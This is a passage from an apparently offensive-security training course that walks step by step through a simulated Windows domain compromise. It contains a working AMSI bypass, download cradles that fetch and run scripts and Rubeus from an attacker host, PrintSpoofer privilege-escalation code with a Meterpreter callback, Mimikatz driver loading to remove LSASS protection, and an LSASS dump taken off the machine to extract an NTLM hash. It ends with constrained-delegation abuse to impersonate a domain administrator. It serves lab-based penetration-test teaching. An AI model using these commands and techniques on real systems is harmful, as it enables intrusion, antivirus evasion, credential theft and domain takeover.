Invoke-HostRecon function.

PS C:\windows\system32\inetsrv> Invoke-HostRecon
Invoke-HostRecon
[*] Hostname
WEB01
...
[*] Current Domain and Username
Domain = IIS APPPOOL
Current User = DefaultAppPool
...
[*] Checking local firewall status.
The local firewall appears to be enabled.
...
[*] Checking for Local Admin Password Solution (LAPS)
The LAPS DLL was not found.
...
[*] Checking for common security product processes
Possible Windows Defender AV process MsMpEng is running.
...

Listing 16 - Truncated output from Invoke-HostRecon

The truncated output reveals that the antivirus engine is likely
Windows Defender, which employs AMSI. Furthermore, it does not appear
that LAPS is in use.

Next, we'll check the RunAsPPL registry key to determine if LSA
protection
is enabled with the Get-ItemProperty cmdlet:

PS C:\windows\system32\inetsrv> Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"

RunAsPPL     : 1
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control
PSChildName  : Lsa
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

Listing 17 - LSA protection is enabled

LSA protection is indeed enabled, which means we cannot directly
obtain NTLM hashes from LSASS.

Finally, we need to determine if application whitelisting is in
effect. We already know that Windows Defender is the antivirus product
in use, which means that if application whitelisting is employed, it
is likely through AppLocker.

The AppLocker rules will typically be enforced through GPOs in an
Active Directory environment, but they will be written to the registry
and we can dump them with the PowerShell Get-ChildItem
cmdlet.

PS C:\windows\system32\inetsrv> Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe

   Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe

Name                           Property                                                                                
----                           --------                                                                                
5040b75a-f81a-4a07-a543-ee1129 Value : <FilePublisherRule Id="5040b75a-f81a-4a07-a543-ee1129a15fe4" Name="Signed by    
a15fe4                         O=MICROSOFT CORPORATION,                                                                
                                       L=REDMOND, S=WASHINGTON, C=US" Description="" UserOrGroupSid="S-1-1-0"          
                                       Action="Allow"><Conditions><FilePublisherCondition PublisherName="O=MICROSOFT   
                               CORPORATION, L=REDMOND,                                                                 
                                       S=WASHINGTON, C=US" ProductName="*" BinaryName="*"><BinaryVersionRange          
                               LowSection="*"                                                                          
                                       HighSection="*"/></FilePublisherCondition></Conditions></FilePublisherRule>     
...

Listing 18 - AppLocker rules for executable files

The truncated output shows that AppLocker is indeed in use and the
rule only allows executables signed by Microsoft.

This seems very formidable but AppLocker rules do not apply to the
built-in local accounts such as Local System, Local Service, or
Network Service. Neither do they apply to the IIS DefaultAppPool
account, which means we only have to worry about AppLocker if we
migrate into a process of a different user.

Next, we want to perform post-exploitation enumeration against Active
Directory to detect any possible attack avenues. PowerView excels at
this, but due to its popularity, it will be detected by AMSI, which we
can attempt to bypass.

Based on our previous research, we know that we can corrupt the first
four bytes of the amsiContext structure to turn off AMSI for the
remainder of the PowerShell process runtime.

Let's reuse that code.

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Listing 19 - AMSI bypass code

To use this bypass, we'll save it to amsi.txt on our Kali web
server and use a download cradle to execute it in memory. Once AMSI
is disabled, we'll also download PowerView and load it into memory as
well.

PS C:\windows\system32\inetsrv> (new-object system.net.webclient).downloadstring('http://192.168.119.120/amsi.txt') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.119.120/amsi.txt') | IEX

PS C:\windows\system32\inetsrv> (new-object system.net.webclient).downloadstring('http://192.168.119.120/powerview.ps1') | IEX
(new-object system.net.webclient).downloadstring('http://192.168.119.120/powerview.ps1') | IEX

Listing 20 - Bypassing AMSI and loading PowerView

Once PowerView is ready, we can begin our enumeration. For any
large Active Directory infrastructure, this can be a lengthy task.
However, in our smaller simulated penetration test, it is possible to
perform the enumeration of Computers, Users, and Groups. Output from
Get-DomainComputer, Get-DomainUser, and Get-DomainGroup has not
been included here as it does not directly provide any attack vectors.

At the moment, our attack options are fairly limited since we only
have access to a low-privileged account on a single server and no
domain users are logged into it.

Besides enumerating computers, users, and groups, we should also
consider enumerating Kerberos delegation, including constrained
delegation:

PS C:\windows\system32\inetsrv> Get-DomainComputer -TrustedToAuth
Get-DomainComputer -TrustedToAuth
...
usncreated                    : 12780
distinguishedname             : CN=WEB01,OU=EvilServers,OU=EvilComputers,DC=evil,DC=com
objectguid                    : 9ea42104-7ebd-4d27-a31d-8d40ffcae127
operatingsystem               : Windows Server 2019 Standard
operatingsystemversion        : 10.0 (17763)
lastlogoff                    : 12/31/1600 4:00:00 PM
msds-allowedtodelegateto      : {cifs/file01.evil.com, cifs/FILE01}
objectcategory                : CN=Computer,CN=Schema,CN=Configuration,DC=evil,DC=com
dscorepropagationdata         : {6/18/2020 6:46:34 PM, 1/1/1601 12:00:00 AM}
serviceprincipalname          : {WSMAN/web01, WSMAN/web01.evil.com, TERMSRV/WEB01, TERMSRV/web01.evil.com...}
lastlogon                     : 6/25/2020 6:22:10 AM
iscriticalsystemobject        : False
usnchanged                    : 16514
useraccountcontrol            : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated                   : 6/18/2020 6:13:38 PM
...

Listing 21 - Locating constrained delegation

The output indicates that the current computer (web01) is configured
for constrained delegation to the CIFS service on file01. Furthermore,
web01 has the TRUSTED_TO_AUTH_FOR_DELEGATION flag set, which
means it can impersonate any user through the S4U protocol transition.

If we can exploit the constrained delegation, we could compromise
file01 and strengthen our foothold.

Post-exploitation enumeration is important and in a penetration
test against a real-world Active Directory infrastructure, this can
take hours, if not days, to perform. Fortunately, in our small test
environment this process moves relatively quickly. However, this
process mirrors what we might see in a larger environment.

Exercises

  1. Migrate the Meterpreter shell to a more stable process.
  2. Perform host-based enumeration to detect security solutions in
    place. Think about how that might impact us.
  3. Bypass AMSI, perform AD-related enumeration, and find the
    constrained delegation.

Attacking Delegation

Based on our enumeration, we know that web01 allows constrained
delegation to file01. To exploit this, we are going to need the NTLM
hash for web01, which in turn means that we'll need to obtain higher
privileges locally on the web server.

Once we have the NTLM hash in hand, we can use the S4U protocol
transition to request a forwardable TGS for the CIFS service on file01
in the context of an administrative user.

Privilege Escalation on web01

In this section, we'll attempt to escalate our privileges to SYSTEM so
that we can obtain the NTLM hash of the machine account.

Since we compromised an IIS server and gained code execution as the
IIS DefaultAppPool, we should have impersonation privileges. We can
quickly check this with whoami.

PS C:\windows\system32\inetsrv> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Listing 22 - IIS DefaultAppPool has
SeImpersonatePrivilege

The output indicates that we have impersonation privileges. Since
this is a Windows Server 2019 machine, we can either use RoguePotato
or PrintSpoofer to attempt to escalate our privileges. Given that
RoguePotato requires access to a second machine and is generally more
complex to execute, we'll instead use PrintSpoofer.

Note that Juicy Potato only works up to Windows Server 2016,
FaxHell only works in the context of Network Service, and the
Beans technique only works on desktop editions.

To use PrintSpoofer, we can download the Visual Studio project and
compile it. Unfortunately, if we upload and execute PrintSpoofer, even
to just display the help menu, Windows Defender flags it.

Since PrintSpoofer is written in C++, we can use the
Invoke-ReflectivePEInjection PowerShell script to bypass antivirus
as long as we disable AMSI. However, invoking an executable through
reflection can be tricky, especially when it requires arguments.

As an alternative, we can use our custom-coded PrintSpooferNet
implementation that we developed in a previous module. Since this is
custom-coded, it will likely evade detection.

One caveat of this procedure is that PrintSpoofer bundles both the
pipe server and the printer bug in a single application, while our
custom implementation requires SpoolSample. Luckily, Windows Defender
does not detect SpoolSample.

Before we start the attack, we must discuss another issue. When we
previously developed the PrintSpooferNet code, we executed it from an
interactive logon session.[958] In this case, we must execute it
in the context of the service account that has not logged in.

Because of the non-interactive logon session, when we invoke
CreateProcessWithTokenW after having impersonated the SYSTEM
account, the new process will immediately terminate. To solve this,
we have to modify the code, revisit some of the API arguments, and
introduce a number of concepts.

First, one of the arguments for CreateProcessWithTokenW
(lpEnvironment) is an environment block array that contains metadata
related to the user and a startup directory. In our previous attacks,
we used NULL for this argument, as the newly created process used an
environment created from the profile of the logged on user. In this
case, since the service account did not perform an interactive logon,
we have to provide an environment block.

Second, the lpCurrentDirectory argument, which specifies the initial
drive and working directory for our shell, also needs to be specified
for the same reasons as explained above.

We can generate the values for these parameters with the
CreateEnvironmentBlock[959] and GetSystemDirectory[960] APIs,
respectively.

The function prototype for CreateEnvironmentBlock is shown in
Listing 23.

BOOL CreateEnvironmentBlock(
  LPVOID *lpEnvironment,
  HANDLE hToken,
  BOOL   bInherit
);

Listing 23 - Function prototype for
CreateEnvironmentBlock

CreateEnvironmentBlock accepts three parameters. The first
is *lpEnvironment, which is an output pointer to the created
environment block. The second argument (hToken) is the user token.
In our case, this is the SYSTEM token after the successful privilege
escalation. The third (bInherit) is a flag to signal whether to
inherit from the current process' environment. As the current process
does not have an environment, we must set it to false.

The function prototype for GetSystemDirectory shown in Listing
24 is even simpler.

UINT GetSystemDirectoryW(
  LPWSTR lpBuffer,
  UINT   uSize
);

Listing 24 - Function prototype for
GetSystemDirectoryW

GetSystemDirectory accepts a string buffer (lpBuffer) that will
be populated with the system directory along with the maximum allowed
size (uSize) of the string.

Listing 25 shows the code for the DllImport
statements taken from pinvoke.net[961]^,[962] along with their
implementation in the code.

using System.Security.Principal;
...
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool RevertToSelf();

[DllImport("kernel32.dll")]
static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);

[DllImport("userenv.dll", SetLastError = true)]
static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);

static void Main(string[] args)
{
...
  OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken);
  DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken);
  
  StringBuilder sbSystemDir = new StringBuilder(256);
  uint res1 = GetSystemDirectory(sbSystemDir, 256);
  IntPtr env = IntPtr.Zero;
  bool res = CreateEnvironmentBlock(out env, hSystemToken, false);
  
  String name = WindowsIdentity.GetCurrent().Name;
  Console.WriteLine("Impersonated user is: " + name);
  
  RevertToSelf();

Listing 25 - Setting up the working directory and
environment block

In the last part of Listing 25, we use the
WindowsIdentity.GetCurrent()[963] C# method to print the name of
the impersonated account and finally, we call the Win32 RevertToSelf
API[964] to revert back from the impersonated SYSTEM token.

In previous examples with CreateProcessWithTokenW, we have not
called RevertToSelf first. This means CreateProcessWithTokenW has
been called while impersonating the SYSTEM token, which works most of
the time because SYSTEM generally has the SeImpersonatePrivilege as
well.

However, for some processes running in SYSTEM context, this privilege
has been removed, so to ensure that our attack succeeds, we can revert
back to IIS DefaultAppPool and use its impersonation privilege.

We need to modify two additional arguments for
CreateProcessWithTokenW to get our code working. These are
dwLogonFlags and dwCreationFlags, which we previously left
as NULL. First, we must specify the LOGON_WITH_PROFILE logon
flag, otherwise some of the registry usage will fail during process
execution. In addition, the environment block we created uses Unicode
so we must also specify the CREATE_UNICODE_ENVIRONMENT creation
flag.

These two flags are specified through enums, which we must manually
implement[965] in our code:

public enum CreationFlags
{
    DefaultErrorMode = 0x04000000,
    NewConsole = 0x00000010,
    NewProcessGroup = 0x00000200,
    SeparateWOWVDM = 0x00000800,
    Suspended = 0x00000004,
    UnicodeEnvironment = 0x00000400,
    ExtendedStartupInfoPresent = 0x00080000
}

public enum LogonFlags
{
     WithProfile = 1,
     NetCredentialsOnly
}

Listing 26 - Enums for CreationFlags and LogonFlags

Next, we must consider desktops,[966] or logical display
surfaces. Interestingly, all processes must have a designated desktop
even if their windows are hidden.

When a logon session is created, CreateProcessWithTokenW will
automatically use the desktop of that session. However, in our
case we must explicitly specify it in the lpDesktop field of the
STARTUPINFO structure passed to the API as the eighth argument.

The default desktop is called WinSta0\Default,[967] which we
set for the lpDesktop property along with the other changes as shown
in Listing 27.

PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "WinSta0\\Default";

if (args.Length == 0)
{
    Console.WriteLine("Usage: PrintSpooferNet.exe pipename");
    return;
}
...          
RevertToSelf();

res = CreateProcessWithTokenW(hSystemToken, LogonFlags.WithProfile, null, "C:\\inetpub\\wwwroot\\Upload\\met.exe", CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref si, out pi);

Listing 27 - Setting default desktop and logon
profile

The final step is to choose the application to use with
CreateProcessWithTokenW. We could use PowerShell to start an
in-memory PowerShell shellcode runner, but we must take AMSI into
account. In more complicated attacks such as these, it is often better
to take a simple approach and place the executable on disk. This means
we must make sure the executable evades AV detection.

To generate the executable, we'll reuse our AV bypass C# shellcode
runner that we used for our web shell, since it was successful.

Once the met.exe C# shellcode runner executable is created
along with the modified PrintSpooferNet application, we'll upload them
along with the SpoolSample executable to the upload folder on
web01.

Now we're ready to launch the attack. First, we'll ensure that a
multi/handler listener is running in the background on port 443 to
catch the SYSTEM shell. Then we'll launch a command prompt and run
PrintSpooferNet from that shell:

PS C:\windows\system32\inetsrv> c:\inetpub\wwwroot\upload\printspoofernet.exe \\.\pipe\test\pipe\spoolss
c:\inetpub\wwwroot\upload\printspoofernet.exe \\.\pipe\test\pipe\spoolss
Named pipe created: 628

Listing 28 - Executing PrintSpooferNet

We'll then background the initial shell channel, launch a new
shell, and run SpoolSample with web01 as the target:

^Z
Background channel 1? [y/N] y

meterpreter > shell
Process 3420 created.
Channel 2 created.
...

c:\windows\system32\inetsrv> c:\inetpub\wwwroot\upload\SpoolSample.exe web01 web01/pipe/test
c:\inetpub\wwwroot\upload\SpoolSample.exe web01 web01/pipe/test
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function

Listing 29 - Executing SpoolSample

Once SpoolSample completes, we'll switch back to the original channel,
where the print spooler connects to the named pipe:

c:\windows\system32\inetsrv> ^Z

Background channel 2? [y/N]  y
meterpreter > 
[*] https://192.168.119.120:443 handling request from 192.168.120.132; (UUID: d3rddshy) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 2 opened (192.168.119.120:443 -> 192.168.120.132:50410)

meterpreter > channel -i 1
Interacting with channel 1...

Found sid S-1-5-18
Impersonated user is: NT AUTHORITY\SYSTEM

Listing 30 - SpoolSample connecting back

Immediately following the print spooler connection, a new Meterpreter
session is created.

PS C:\windows\system32\inetsrv> ^Z

Background channel 1? [y/N]  y

meterpreter > background
[*] Backgrounding session 1...

msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Listing 31 - Obtaining SYSTEM shell

After we background the PowerShell prompt and the current Meterpreter
session, we can interact with the new session where we find our SYSTEM
shell. Excellent!

In this section, we managed to elevate our privileges from the IIS
DefaultAppPool account to that of local SYSTEM through impersonation
while bypassing antivirus. This allows us to continue our attack in
the next section by obtaining the NTLM hash of the computer account.

Exercises

  1. Modify the code for PrintSpooferNet to work from a shell with a
    logon session.
  2. Transfer the required files and prepare Metasploit by launching two
    command prompts along with the listener.
  3. Execute the attack and elevate privileges to SYSTEM.

Getting the Hash

To perform the constrained delegation attack, we will dump the NTLM
hash of the web01 machine account from LSASS. We have managed to
obtain a SYSTEM shell so this is typically a simple matter of dumping
it, but we have already determined that LSA protection is enabled.

When LSA protection is enabled, the LSASS process is marked as
Protected Process Light (PPL), meaning that we can not inject
code or tamper with the process. This enforcement is performed
from the kernel and to solve this issue, we'll leverage the
mimidrv.sys driver that accompanies Mimikatz.

While we could use reflective PE injection to load an executable or
DLL from memory, we can't do this with a kernel driver since it must
be on disk before it is loaded. In addition, a kernel driver must have
a digital signature and new drivers must be vetted and cross-signed by
Microsoft.

Fortunately, Windows Defender does not flag mimidrv.sys as
malicious, but it does flag Mimikatz. To solve this, we could load
Mimikatz from memory with the Invoke-Mimikatz PowerShell script but
due to this technique's popularity, this may be flagged even with AMSI
disabled.

Alternatively, we could install a known vulnerable driver and
custom code a kernel exploit that performs the same actions as
mimidrv.sys.

Although this seems to get complicated quickly, there is a way
forward. The best approach at this point is to use Mimikatz from
memory through Invoke-Mimikatz, but we will use it as few times as
possible.

First, we'll manually load the driver without Mimikatz, then run
Mimikatz once to clear the PPL flag, and finally we'll run our custom
application to dump the entire LSASS memory. We can then parse the
output on our test machine.

This will only generate a single antivirus alert but Mimikatz will
not be shut down before it has issued the call to remove LSASS
protections.

Since we have a SYSTEM shell, we could also create a local
administrative account and use that to RDP into web01. From there, we
could use the GUI to disable AV runtime protections, which would block
further alerts.

To proceed, we'll download an updated version of the Mimikatz
mimidrv.sys file that works on Windows 2019 and upload
it to web01. To ensure stability of our SYSTEM Meterpreter, we'll
migrate into the SYSTEM integrity spoolsv process and open
a command prompt.

meterpreter > migrate 2092
[*] Migrating from 4696 to 2092...
[*] Migration completed successfully.

meterpreter > shell
Process 5036 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

Listing 32 - Migrating into spoolsv

Now we can manually load the driver with the sc.exe
Service Control application.[968] First, we'll create a
service named "mimidrv", specify the file path of the driver through
binPath=, set its type to "kernel", and the starting setting
to "demand" with start=.

C:\Windows\system32> sc create mimidrv binPath= C:\inetpub\wwwroot\upload\mimidrv.sys type= kernel start= demand
sc create mimidrv binPath= C:\inetpub\wwwroot\upload\mimidrv.sys type= kernel start= demand
[SC] CreateService SUCCESS

C:\Windows\system32> sc start mimidrv
sc start mimidrv

SERVICE_NAME: mimidrv 
        TYPE               : 1  KERNEL_DRIVER  
        STATE              : 4  RUNNING 
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 0
        FLAGS              : 

Listing 33 - Load mimidrv.sys into the kernel

With the driver running, we can instruct it to turn off the LSASS PPL
protection.

We'll disable AMSI and download and run Invoke-Mimikatz
from memory as shown in Listing 34.

C:\Windows\system32> powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/amsi.txt') | IEX
(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/amsi.txt') | IEX

PS C:\Windows\system32> (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/mimikatz.txt') | IEX
(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/mimikatz.txt') | IEX

PS C:\Windows\system32> Invoke-Mimikatz -Command "`"!processprotect /process:lsass.exe /remove`""
Invoke-Mimikatz -Command "`"!processprotect /process:lsass.exe /remove`""
Hostname: web01.evil.com / authority\system-authority\system

  .#####.   mimikatz 2.2.0 (x64) #19041 May 20 2020 14:57:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 564 -> 00/00 [0-0-0]

PS C:\Windows\system32> 
C:\Windows\system32>

Listing 34 - Turning off PPL with Invoke-Mimikatz

To invoke the !processprotect command with the desired
arguments, we must use quotes on the command line for the
-Command parameter, but the command itself must also be in
quotes, which means we must escape the inner quotes with a back tick
(`) character.

When the command is executed, the driver successfully turns off LSASS
protection. Just after that, Windows Defender detects the execution of
Mimikatz and shuts down the PowerShell process.

While an antivirus alert has been generated, we have managed to turn
off the PPL protection and we can now interact with LSASS. Instead of
using Mimikatz for this, we can use our custom application that calls
the Win32 MiniDumpWriteDump API.

Our code will perform a memory dump of the LSASS process and write the
dump to lsass.dmp in C:\Windows\tasks.

C:\Windows\system32> c:\inetpub\wwwroot\upload\dump.exe
c:\inetpub\wwwroot\upload\dump.exe
LSASS PID is: 564

C:\Windows\system32> dir c:\windows\tasks
dir c:\windows\tasks
 Volume in drive C has no label.
 Volume Serial Number is EEC0-882C

 Directory of c:\windows\tasks

06/26/2020  12:54 AM    <DIR>          .
06/26/2020  12:54 AM    <DIR>          ..
06/26/2020  12:54 AM        48,216,094 lsass.dmp
               1 File(s)     48,216,094 bytes
               2 Dir(s)   5,581,467,648 bytes free

Listing 35 - Dumping the LSASS memory

To parse the dump file, we can use Invoke-Mimikatz on web01, but
this will again trigger an antivirus alert. Instead, we are going to
download the dump file and transfer it to the Windows Server 2019 test
machine.

C:\Windows\system32> exit
exit

meterpreter > download C:\\Windows\\tasks\\lsass.dmp /var/www/html/lsass.dmp
[*] Downloading: C:\Windows\tasks\lsass.dmp -> /var/www/html/lsass.dmp
[*] Downloaded 1.00 MiB of 45.98 MiB (2.17%): C:\Windows\tasks\lsass.dmp -> /var/www/html/lsass.dmp
[*] Downloaded 2.00 MiB of 45.98 MiB (4.35%): C:\Windows\tasks\lsass.dmp -> /var/www/html/lsass.dmp
...
[*] Downloaded 44.00 MiB of 45.98 MiB (95.69%): C:\Windows\tasks\lsass.dmp -> /var/www/html/lsass.dmp
[*] Downloaded 45.00 MiB of 45.98 MiB (97.86%): C:\Windows\tasks\lsass.dmp -> /var/www/html/lsass.dmp
[*] Downloaded 45.98 MiB of 45.98 MiB (100.0%): C:\Windows\tasks\lsass.dmp -> /var/www/html/lsass.dmp
[*] download   : C:\Windows\tasks\lsass.dmp -> /var/www/html/lsass.dmp

Listing 36 - Downloading the LSASS dump file

Given that the LSASS dump file is almost 46 MB, the download can take
some time through Meterpreter. Once it's downloaded, we'll upload it
to the test machine along with Invoke-Mimikatz.

Next, we'll run sekurlsa::minidump to specify the dump file
followed by sekurlsa::logonpasswords to dump passwords and
hashes for all logged on users.

PS C:\Tools> wget -Uri http://192.168.119.120/lsass.dmp -OutFile C:\tools\lsass.dmp

PS C:\Tools> (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/mimikatz.txt') | IEX

PS C:\Tools> Invoke-Mimikatz -Command "`"sekurlsa::minidump c:\tools\lsass.dmp`" sekurlsa::logonpasswords"
Hostname: Test / S-1-5-21-3167539577-2907730259-3891639048

  .#####.   mimikatz 2.2.0 (x64) #19041 May 20 2020 14:57:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::minidump c:\tools\lsass.dmp
Switch to MINIDUMP : 'c:\tools\lsass.dmp'

mimikatz(powershell) # sekurlsa::logonpasswords
Opening : 'c:\tools\lsass.dmp' file for minidump...

...

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WEB01$
Domain            : EVIL
Logon Server      : (null)
Logon Time        : 6/24/2020 2:01:32 AM
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : WEB01$
         * Domain   : EVIL
         * NTLM     : 12343649cc8ce713962859a2934b8cbb
         * SHA1     : f6903726e098755116c9eb87263d213cd76a17a8
....

Listing 37 - Obtaining NTLM hash from LSASS dump

Finally, we have captured the NTLM hash for the machine account of
web01. Nice!

We're now armed to exploit the configured constrained delegation to
file01. We'll explore this in the next section.

Exercises

  1. Download the appropriate versions of mimidrv.sys and
    Invoke-Mimikatz to the Kali machine web root.
  2. Migrate the SYSTEM shell into a different SYSTEM process to ensure
    stability.
  3. Transfer the Mimikatz driver and launch it manually with the
    service control manager.
  4. Disable AMSI and use Invoke-Mimikatz to disable the PPL protection
    on LSASS.
  5. Transfer and use the custom application to dump the LSASS process
    memory.
  6. Download the dump file, transfer it to the "test" machine, and
    extract the NTLM hash for the web01 machine account.

Delegate My Ticket

Since web01 is configured with constrained delegation to the file01
machine, this means that we can use the web01 machine account NTLM
hash to request a TGS as any user for the CIFS service on file01.

If we request a TGS as a user that is a member of the Domain Admins
group, we will have the permissions required to obtain code execution
on file01.

The best tool for constrained delegation abuse is Rubeus.

Before compiling Rubeus, we must change the .NET version to target
4.6 since that is what is installed on Windows Server 2019. We can do
this by navigating to Project > Rubeus Properties and changing the
Target framework to .NET Framework 4.6.

If we compile and transfer the Rubeus binary to web01 and try to
directly invoke it from the command prompt, it is very likely that
the antivirus will flag it. This is because the default version of
Rubeus is well known to antivirus engines, even when we perform the
compilation ourselves. At this point, we can either try to modify
the Rubeus source code to evade detection or execute it directly from
memory after disabling AMSI. Due to the rather large Rubeus code base,
we will run it from memory.

After Rubeus is compiled, we'll copy it to the web root of our Kali
machine and turn to our SYSTEM Meterpreter shell. We'll open a command
prompt and in turn, open PowerShell. Here, we'll initially bypass
AMSI through a download cradle, after which we'll download Rubeus into
memory and load it as an assembly.

meterpreter > shell
Process 1004 created.
Channel 3 created.
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/amsi.txt') | IEX
(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/amsi.txt') | IEX

PS C:\Windows\system32> $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/Rubeus.exe')
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/Rubeus.exe')

PS C:\Windows\system32> $assem = [System.Reflection.Assembly]::Load($data)
$assem = [System.Reflection.Assembly]::Load($data)
PS C:\Windows\system32> 

Listing 38 - Disabling AMSI and downloading Rubeus
into memory

Now Rubeus is loaded into memory through the Load method of the
System.Reflection.Assembly namespace.

To interact with it, we'll take advantage of the fact that the
Main method is public and we can invoke all of its functionality by
specifying the function name.[969]

As a simple example, let's invoke the purge function to clear all
Kerberos tickets from memory directly through the Main method:

PS C:\Windows\system32> [Rubeus.Program]::Main("purge".Split())
[Rubeus.Program]::Main("purge".Split())

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0 


[*] Action: Purge Tickets
Luid: 0x0
[+] Tickets successfully purged!
PS C:\Windows\system32> 

Listing 39 - Invoking the purge function from
Rubeus in memory

Now we can invoke Rubeus to request the TGS for the CIFS service on
file01 as administrator, which is a domain admin. To do this in a
single command, we'll call the s4u function and supply a series of
arguments. First, we'll specify the username (/user:) and
the NTLM hash (/rc4:) of the web01 machine account, which is
called "web01$".

Next, we'll provide the user to impersonate with
/impersonateuser:, which in our case is "administrator".
These options will allow Rubeus to obtain a TGT for web01$ followed
by a S4U2self request to get a forwardable TGS for administrator
to web01.

As the final arguments, we'll supply the SPN we want to target
with /msdsspn:, which is the CIFS service on file01 and
finally, we'll signal the generated TGS to be loaded into memory with
/ptt:

PS C:\Windows\system32> [Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

...

[*] Action: S4U

[*] Using rc4_hmac hash: 12343649cc8ce713962859a2934b8cbb
[*] Building AS-REQ (w/ preauth) for: 'evil.com\web01$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIEpjCCBKKgAwIBBaEDAgEWo...

[*] Action: S4U

[*] Using domain controller: dc02.evil.com (192.168.120.130)
[*] Building S4U2self request for: 'web01$@EVIL.COM'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator@EVIL.COM' to 'web01$@EVIL.COM'
[*] base64(ticket.kirbi):

      doIFWjCCBVagAwIBBaEDAgEWo...

[*] Impersonating user 'administrator' to target SPN 'cifs/file01'
[*] Using domain controller: dc02.evil.com (192.168.120.130)
[*] Building S4U2proxy request for service: 'cifs/file01'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/file01':

      doIF1jCCBdKgAwIBBaEDAgEWo...
[+] Ticket successfully imported!

Listing 40 - Using the S4U protocol transitions to
request a TGS

The output indicates that a TGS as the administrator user for the
CIFS service on file01 has been generated and injected into memory.

We can verify this with the klist command as shown in
Listing 41.

